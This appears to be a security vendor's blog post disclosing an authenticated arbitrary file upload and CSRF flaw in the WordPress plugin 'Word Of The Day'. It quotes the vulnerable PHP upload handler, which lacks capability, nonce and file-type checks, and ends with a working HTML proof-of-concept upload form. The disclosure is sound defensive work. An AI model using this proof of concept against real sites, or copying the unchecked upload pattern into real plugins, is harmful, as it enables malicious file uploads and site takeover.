07 Oct

What Security Review? Brand New WordPress Plugin Contains Authenticated Arbitrary File Upload Vulnerability

Brand new WordPress plugins are supposed to go through a security review before being allowed in the Plugin Directory. Either those reviews are not happening or they are failing to catch things that should have been caught. Take the brand new plugin Word Of The Day, which we came across due our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities flagging that it possibly contained an arbitrary file upload vulnerability, which is a type of vulnerability likely to be exploited. In reviewing this we found that it does contain authenticated variant of that, which can also be exploited through cross-site request forgery (CSRF).

We have long offered to provide the team running the Plugin Directory help to have a capability similar to that monitoring. Running the plugin through our Plugin Security Checker would have warned about that as well. We have also long offered the team running the Plugin Directory free access to the advanced mode of that tool for free. We haven’t heard any interest from that team to either of those offers.

The plugin registers the function file_upload() to run through WordPress’ AJAX functionality for those logged in to WordPress:

114
add_action( 'wp_ajax_file_upload', 'file_upload' );

In that function, which is located in the file /word_of_the_day.php, the file with the name “file” will be saved to the directory /wp-content/plugins/word-of-the-day/upload/:

59
60
61
62
63
64
65
66
67
68
69
70
71
function file_upload() {
    require_once 'Classes/PHPExcel.php';
    $responce = array();
    $action = sanitize_text_field($_POST['action']);
    $file = sanitize_file_name($_FILES['file']['name']);
    $remove_these = array(' ','`','"','\'','\\','/','%');
    $newFileName = str_replace($remove_these, '', $file);
    $newFileName = time().'-'.$newFileName; 
 
    $uploadDirectory = plugin_dir_path( __FILE__ ) ."upload/";
    $uploadPath = $uploadDirectory . basename($newFileName);
 
    if(move_uploaded_file($_FILES['file']['tmp_name'], $uploadPath)) {

The file is a given a unique name, though that only involves prepending the time the file was upload to the file name.

There are multiple missing security restrictions in that code. The file upload capability is only intended to be used by users with the “manage_options” capability, so Administrators, but there isn’t a capabilities check in the code. There also should be a check for a valid nonce to prevent cross-site request forgery (CSRF), which causes someone to take an action they didn’t intend. The file being uploaded is also only intended to an excel spreadsheets, but there isn’t any restriction along those lines either.

WordPress Causes Full Disclosure

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof of concept will upload the selected file to the directory /wp-content/plugins/word-of-the-day/upload/with the time the file was uploaded prepended to the name of the file, when logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=file_upload" enctype="multipart/form-data" method="POST">
<input type="file" name="file" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service you can suggest/vote for the plugins you use to receive a security review from us. You can start using the service for free when you sign up now.

Leave a Reply

Your email address will not be published. Required fields are marked *